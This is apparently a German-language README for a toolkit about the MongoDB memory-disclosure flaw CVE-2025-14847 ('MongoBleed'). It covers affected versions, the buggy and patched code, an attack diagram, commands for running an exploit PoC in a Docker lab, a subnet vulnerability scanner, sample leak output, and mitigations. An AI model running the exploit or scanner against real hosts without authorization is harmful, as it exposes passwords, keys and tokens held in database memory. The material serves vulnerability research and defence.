
Exploit-Lab, Docker- und Code-Scanner für die mongobleed-Schwachstelle CVE-2025-14847 sowie Phoenix Security Sync-Tools
CVE-2025-14847 | CVSS 8.7 (Hoch) | Nicht authentifizierte Speicher-Offenlegung
📖 Vollständige Dokumentation • 🔬 Technische Analyse • ⚡ Schnellbefehle
MongoBleed ist eine kritische Speicher-Offenlegungsschwachstelle in der Netzwerk-Transportschicht von MongoDB, die es nicht authentifizierten Remote-Angreifern ermöglicht, sensible Heap-Speicherinhalte ohne jegliche Anmeldedaten oder Benutzerinteraktion zu exfiltrieren.
| Kategorie | Beschreibung |
|---|
| Angriffsart | Remote, nicht authentifizierte Speicher-Offenlegung |
| Grundursache | Zlib-Dekomprimierung gibt die Größe des zugewiesenen Puffers zurück statt der tatsächlichen Datenlänge |
| Offengelegte Daten | Datenbank-Passwörter, API-Schlüssel, Session-Tokens, AWS-Anmeldedaten, interner Serverzustand |
| Schweregrad | CVSS 8.7 (Hoch) – Netzwerkerreichbar, keine Authentifizierung erforderlich |
| Ausnutzung | Aktive Ausnutzung in freier Wildbahn beobachtet seit 28. Dez. 2025 |
| Branch | Verwundbar | Behoben | Aktion |
|---|---|---|---|
| 8.2.x | 8.2.0 → 8.2.2 | 8.2.3 | Sofort aktualisieren |
| 8.0.x | 8.0.0 → 8.0.16 | 8.0.17 | Sofort aktualisieren |
| 7.0.x | 7.0.0 → 7.0.27 | 7.0.28 | Sofort aktualisieren |
| 6.0.x | 6.0.0 → 6.0.26 | 6.0.27 | Sofort aktualisieren |
| 5.0.x | 5.0.0 → 5.0.31 | 5.0.32 | Sofort aktualisieren |
| 4.4.x | 4.4.0 → 4.4.29 | 4.4.30 | Sofort aktualisieren |
| ≤4.2.x | Alle Versionen | Keine | ⚠️ EOL – Zu unterstützter Version migrieren |
| Aspekt | Details |
|---|---|
| Was ist verwundbar | Netzwerk-Transportschicht des MongoDB-Servers, die zlib-Komprimierung verwendet |
| Schweregrad | Hoch (CVSS 8.7/7.5) |
| Auswirkung | Nicht authentifizierte, remote Offenlegung von nicht initialisiertem Heap-Speicher |
| Warum es wichtig ist | Geleakte Fragmente enthalten Datenbank-Passwörter, AWS-Secret-Keys und interne Serverzustände |
| Exploit-Status | Öffentlicher Proof-of-Concept (PoC) „mongobleed" ist validiert und in Umlauf |
| Was heute zu tun ist | Sofort auf gepatchte Versionen aktualisieren oder zlib-Komprimierung deaktivieren |
Die Schwachstelle existiert in der Netzwerk-Transportschicht von MongoDB (message_compressor_zlib.cpp), wo ein kritischer Fehler in der zlib-Dekomprimierungslogik es nicht authentifizierten Angreifern ermöglicht, sensible Serverspeicherinhalte zu leaken.
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Returns ALLOCATED buffer size
// PATCHED CODE (after fix)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Returns ACTUAL decompressed data length
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed Attack Vector │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACKER VULNERABLE MongoDB │
│ │ │ │
│ │ 1. Send OP_COMPRESSED message │ │
│ │ uncompressedSize: 8192 (LIE) │ │
│ │ actual data: ~100 bytes │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allocate 8192-byte buffer │
│ │ 3. Decompress ~100 bytes │
│ │ 4. BUG: Return buffer.length() = 8192 │
│ │ 5. BSON parser reads uninitialized memory │
│ │ │ │
│ │ 6. Error response with leaked │ │
│ │ memory as "field names" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 LEAKED DATA: │ │
│ - API keys, passwords, tokens │
│ - MongoDB internal state │
│ - WiredTiger storage configs │
│ - System /proc information │
│ - Client connection data │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
| Datum | Ereignis |
|---|---|
| 15. Dez. 2025 | Schwachstelle identifiziert; internes Ticket SERVER-115508 |
| 19. Dez. 2025 | Fix veröffentlicht, CVE-2025-14847 offengelegt |
| 24. Dez. 2025 | MongoDB-Atlas-Flotte gepatcht |
| 26. Dez. 2025 | Öffentlicher PoC „mongobleed" veröffentlicht |
| 28. Dez. 2025 | Ausnutzung in freier Wildbahn beobachtet |
🔬 Siehe technische Analyse → für detaillierte Schwachstellenanatomie, Exploit-Konstruktion und Erkennungsmethoden.
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Exploit Lab
│ ├── docker-compose.yml # Vulnerable + Patched MongoDB instances
│ ├── mongobleed.py # Memory leak exploit PoC
│ ├── init/init-mongo.js # Sensitive test data
│ ├── test-exploit.sh # Lab test script
│ └── README.md # Lab documentation
│
├── scanner/ # 🌐 Network Scanner
│ ├── mongobleed_scanner.py # IP/domain vulnerability scanner
│ ├── sample-targets.txt # Sample targets file
│ └── README.md # Scanner documentation
│
├── code-scan/ # 📂 Code Scanner
│ ├── main.py # CLI entry point
│ ├── scanners/ # Docker, Python, Infra scanners
│ ├── models/ # Finding, Vulnerability models
│ ├── integrations/ # Phoenix Security upload
│ └── README.md # Code scanner documentation
│
└── original-exploit/ # 📚 Original PoC reference
cd exploit
# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10
# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017
# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018
# Full lab test
./test-exploit.sh
cd scanner
# Scan single host
python3 mongobleed_scanner.py 192.168.1.100
# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24
# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
cd code-scan
# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project
# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Run tests
python3 main.py test
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10
# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017
# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018
# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .
# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[!] Potential secrets detected:
• RSA Private Key
• Lab Secret
[*] Scanning 254 targets with 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]
SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts: 12
MongoDB instances: 8
VULNERABLE: 3
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================
🚨 VULNERABLE MONGODB VERSIONS DETECTED
1. [email protected]
File: /project/docker-compose.yml
Type: docker-compose
Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
✅ Upgrade to: 8.2.3
CVE: CVE-2025-14847
| Priorität | Aktion | Details |
|---|---|---|
| 🔴 1 | MongoDB aktualisieren | Auf behobene Versionen aktualisieren (8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30) |
| 🟠 2 | zlib deaktivieren | mongod --setParameter networkMessageCompressors=snappy,zstd |
| 🟡 3 | Netzwerkisolierung | Port 27017 per Firewall schützen, VPN/privates Netzwerk verwenden |
| 🔵 4 | Anmeldedaten rotieren | Falls exponiert, alle Datenbank-Passwörter, API-Schlüssel und Tokens rotieren |
Alle Scanner unterstützen das Hochladen von Ergebnissen in die Phoenix Security-Plattform:
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix
⚠️ WICHTIG: Dieses Toolkit ist ausschließlich für autorisierte Sicherheitstests und Forschungszwecke bestimmt.
| Dokument | Beschreibung |
|---|---|
| 📖 DOCUMENTATION.md | Vollständige Projektdokumentation mit Einrichtung, Nutzung und Behebung |
| 🔬 TECHNICAL_ANALYSIS.md | Vertiefte Schwachstellenanatomie, Exploit-Mechanismus und Erkennung |
| ⚡ QUICK_COMMANDS.md | Copy-paste-bereite Befehle für alle Tools |
| Tool | Dokumentation | Beschreibung |
|---|---|---|
| 🔴 Exploit-Lab | exploit/README.md | Docker-basiertes verwundbares/gepatchtes MongoDB-Lab |
| 🌐 Netzwerk-Scanner | scanner/README.md | IP-/CIDR-Schwachstellenscanner |
| 📂 Code-Scanner | code-scan/README.md | Codebasis-Scanner für verwundbare Versionen |
Nur für autorisierte Sicherheitstests. Verantwortungsvoll verwenden.
Zuletzt aktualisiert: Dezember 2025